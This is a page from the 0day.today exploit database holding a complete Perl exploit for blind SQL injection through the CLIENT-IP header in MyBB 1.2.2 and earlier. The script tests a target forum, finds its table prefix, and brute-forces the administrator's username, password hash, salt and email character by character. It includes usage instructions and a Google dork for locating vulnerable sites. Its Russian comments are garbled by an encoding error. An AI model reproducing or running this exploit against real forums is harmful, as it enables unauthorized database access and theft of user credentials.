0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MyBulletinBoard (MyBB) <= 1.2.2 (CLIENT-IP) SQL Injection Exploit
[=================================================================
MyBulletinBoard (MyBB) <= 1.2.2 (CLIENT-IP) SQL Injection Exploit
=================================================================
#!/usr/bin/perl
###########################################################
######################### LOGO ##########################
###########################################################
# Mybb <= 1.2.2 Remote SQL Injecton Exploit v.2.0 #
# #
# [u]used: SQL CLIENT_IP vulnerability #
# [!]need: Mysql >= 4.1 #
# [w]work: blind sql-inj #
# [g]google: Powered By MyBB #
# #
###########################################################
####################### Coments #########################
###########################################################
#
# ОпиÑание:
# Работа ÑкÑплойта оÑнована на sql-инъекции в HTTP_CLIENT_IP.
# Ðеавторизованный пользователь может выполнить произвольный SQL-Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð² базу.
#
# http://host.com/mybb/index.php
# MySQL error: 1064
# You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '">'' at line 3
# Query: DELETE FROM mybb_sessions WHERE ip=''">'
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Ðто Ð½Ð¾Ð²Ð°Ñ Ð²ÐµÑ€ÑÐ¸Ñ ÑкÑплойта.
# Мной был найден ÑпоÑоб отказатьÑÑ Ð¾Ñ‚ иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ benchmark,
# что позволÑет уÑкорить работу ÑкÑплойта, повыÑить надежноÑÑ‚ÑŒ полученных данных.
#
# Работа ÑкÑплойта оÑнована на провоцировании "Subquery returns more than 1 row" ошибки,
# что позволÑет произвеÑти blind-sql-inj:
#
# mybb
# match: "Subquery returns more than 1 row"
# CLIENT_IP: 123' or 1=(select null from mybb_users where length(if(ascii(substring((select password from mybb_users where uid=1),1,1))>1,password,uid))<5)/*
# CLIENT_IP: 123' or 1=(select null from mybb_users where length(if(ascii(substring((select password from mybb_users where uid=1),1,1))>254,password,uid))<5)/*
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Полезные таблицы и полÑ:
# mybb_1.2.1: mybb_users - uid,username,password,salt,email,loginkey,icq,aim,regip
#
# Ðлгоритм генерации паролей в mybb:
# md5(md5($salt).md5($password))
# generate_salt{return random_str(8);}
#
###########################################################
######################### init ###########################
###########################################################
use LWP::UserAgent;
$sock = LWP::UserAgent->new();
$|=1;
&header();
###########################################################
####################### Options #########################
###########################################################
if (@ARGV < 2) {&info(); exit();}
$host = $ARGV[0]; # Ñервак
$dir = $ARGV[1]; # дира Ñ Ñ„Ð¾Ñ€ÑƒÐ¼Ð¾Ð¼
$uid = 2; # акк админа по дефаулту
$uid = $ARGV[2] if $ARGV[2];
$debug = 0; # режим отладки
$space = "char(58)"; # разделитель Ñтолбцов
#$search = "password"; # что брутим, ÑобÑтвенно...
#$search = "concat(uid,$space,password,$space,salt)"; # uid:password:salt
$search = "concat(uid,$space,username,$space,password,$space,salt,$space,email)"; # uid:username:password:salt:email
$search = $ARGV[3] if $ARGV[3];
# $presetascii - диапазон ascii-кодов Ð´Ð»Ñ Ð±Ñ€ÑƒÑ‚Ð° вероÑтных данных
# $presetascii = "0123456789abcdef";
# $presetascii = "0123456789"
# $presetascii = "abcdefghijklmnopqrstuvwxyz"
# $presetascii = "0123456789abcdefghijklmnopqrstuvwxyz"
# $presetascii = "абвгдеёжзийклмнопрÑтуфхцчшщъыьÑÑŽÑ");
# цикл, Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñтоты задаёт вÑе Ñимволы Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ±Ð¾Ñ€Ð°
$i=0;
while($i<=255){
$presetascii.=chr($i);$i++;
}
###########################################################
######################### go! ###########################
###########################################################
$time=localtime;
&log ("[i] Start time $time\n");
&log ("[+] HOST \"$host\"\n");
&log ("[+] DIR \"$dir\"\n");
&log ("[+] UID \"$uid\"\n");
&log ("[+] Search \"$search\"\n");
###########################################################
###### detecting vulnerability and searching prefix #######
###########################################################
# detecting vulnerability and searching prefix
&log ("[~] Testing forum vulnerabile... ");
$q = "";
$prefix=query($q,$host,$dir);
if($prefix ne "not_find"){&log ("Yes! Forum vulnerable!\n");sleep(1);&log ("[~] Searching prefix...");sleep(1);&log (" prefix find - \"$prefix\"\n"); }
else
{
&log ("Sorry. Forum unvulnerable\n");
&footer();
exit();
}
###########################################################
##################### brutforce #######################
###########################################################
# brutforce
&log ("[~] Brutforce begin! it may take some time, plz, wait...\n");
$kol=1;
for ($control=0;$control==0;){
&log("\n---------------- Simvol $kol ----------------\n\n") if $debug;
$amin = 1;
$amax = length($presetascii)-1;
$n=0;
# еÑли диапазон 4 и более Ñимволов, переопределÑем диапазон, ÑƒÐ¼ÐµÐ½ÑŒÑˆÐ°Ñ ÐµÐ³Ð¾ в 2 раза
while (($amax-$amin)>=4){
print ("-> Try ".ord(substr($presetascii,$amin,1))." .. ".ord(substr($presetascii,$amax,1))." -> ") if $debug;;
#$q = "or 1=if((ascii(substring((select ".$search." from ".$prefix."users where uid='".$uid."'),".$kol.",1))>=".ord(substr($presetascii,int($amax-($amax-$amin)/2),1))."),1,benchmark(".$benchmark.",md5(char(114,115,116))))/*";
$q = "or 1=(select null from ".$prefix."users where length(if((ascii(substring((select ".$search." from ".$prefix."users where uid='".$uid."'),".$kol.",1))>=".ord(substr($presetascii,int($amax-($amax-$amin)/2),1))."),password,uid))<5)/*";
if (query($q,$host,$dir) eq "not_find") {
print ("Char>=".ord(substr($presetascii,int($amax-($amax-$amin)/2),1))."\n") if $debug;;
$amin=int($amax-($amax-$amin)/2); }
else {
print ("Char<".ord(substr($presetascii,int($amax-($amax-$amin)/2),1))."\n") if $debug;;
$amax=int($amax-($amax-$amin)/2); };
}
# еÑли диапазон менее 4-Ñ… Ñимволов, то переходим к перебору
while ($amin<=$amax) {
print ("-> Try ".ord(substr($presetascii,$amin,1))." ->") if $debug;;
# проверÑем ответ Ñкрипта, еÑли ответ положительный то выводим Ñимвол и ищем Ñледующий Ñимвол в Ñлове, еÑли не определÑем Ñимвол - выход.
#$q = "or 1=if((ascii(substring((select ".$search." from ".$prefix."users where uid='".$uid."'),".$kol.",1))=".ord(substr($presetascii,$amin,1))."),1,benchmark(".$benchmark.",md5(char(114,115,116))))/*";
$q = "or 1=(select null from ".$prefix."users where length(if((ascii(substring((select ".$search." from ".$prefix."users where uid='".$uid."'),".$kol.",1))=".ord(substr($presetascii,$amin,1))."),password,uid))<5)/*";
if (query($q,$host,$dir) eq "not_find") {
&log (" FOUND!\n-> Ascii: ".ord(substr($presetascii,$amin,1))."\n-> Char: \"".substr($presetascii,$amin,1)."\"\n") if $debug;;
&log ("[$kol] Find - ascii:\"".ord(substr($presetascii,$amin,1))."\", char:\"".substr($presetascii,$amin,1)."\"\n") if !$debug;
$rezultat_char = $rezultat_char.substr($presetascii,$amin,1);
$rezultat_ascii = $rezultat_ascii.ord(substr($presetascii,$amin,1)).",";
$amin=$amax+1;$control=1;}
else { print (" NO =(\n") if $debug; $amin=$amin+1; };
}
if ($control==0) {
if($amin!=5){$rezultat_char = $rezultat_char."?";$rezultat_ascii = $rezultat_ascii."?,";
&log ("[$kol] Error! not found =( $amin\n") if !$debug;
&log (" Error! not found =(\n") if $debug;
}else{$control=1;}
}else {$control=0;}
$kol++;
}
print ("\n[!] Yyyy-a-a-a-h-h-uuu!!!\n");
&log ("\n[*] Char: $rezultat_char\n[*] Ascii: $rezultat_ascii\n");
$time=localtime;
&log ("\n[i] Finish time $time\n\n");
&footer();
exit();
###########################################################
######################## log ##########################
###########################################################
# лог
sub log($)
{
open(RES,">>".$host."_log.txt") || die "[-] Cannot open log file!"; ## Открываем лог Ð´Ð»Ñ Ð´Ð¾Ð·Ð°Ð¿Ð¸Ñи
print ("$_[0]");
print RES ("$_[0]");
close(RES);
}
###########################################################
######################## footer ##########################
###########################################################
# Ñпилог
sub footer()
{
print ("[G] Greets: Elekt (antichat.ru), 1dt.w0lf (rst/ghc)\n");
print ("[L] Visit : www.inj3ct0r.com\n");
}
###########################################################
######################## header ##########################
###########################################################
# хидер
sub header()
{
print q(
=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=
+ Mybb <= 1.2.2 Remote SQL Injecton Exploit v.2.0 +
+ +
+ [i]used: SQL CLIENT_IP vulnerability +
+ [!]need: Mysql >= 4.1 +
+ [w]work: blind sql-inj +
+ [i]google: Powered By MyBB +
+ +
+ coded by Elekt (antichat.ru) +
=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_+
);
}
###########################################################
######################## info ##########################
###########################################################
# инфо
sub info()
{
print q(
[i] Usage:
perl mybb122exp.pl [host] [/dir/] [uid] [search]
*-required
*[host] - target host without http://
*[/dir/] - installed forums dir
[uid] - user uid (default=2)
[search] - data (uid:username:password:salt:email)
[E] Example: perl mybb122exp.pl host.com /forum/ 1 password
[i] mybb: md5(md5($salt).md5($password))
);
}
###########################################################
####################### sender #########################
###########################################################
# процедура приема\поÑылки данных
sub query()
{
#&log ("\n\n$q\n\n") if $debug;
my($q,$host,$dir) = @_;
$res = $sock->get("http://".$host.$dir."index.php",'USER_AGENT'=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)','CLIENT_IP'=>"' ".$q);
if($res->is_success)
{
if($res->as_string =~ /FROM (.*)sessions/) { return $1; } else {return "not_find";}
}
else{&log ("\n[!] Connection to $host FAILED! EXIT\n"); exit;}
}
# 0day.today [2024-12-23] #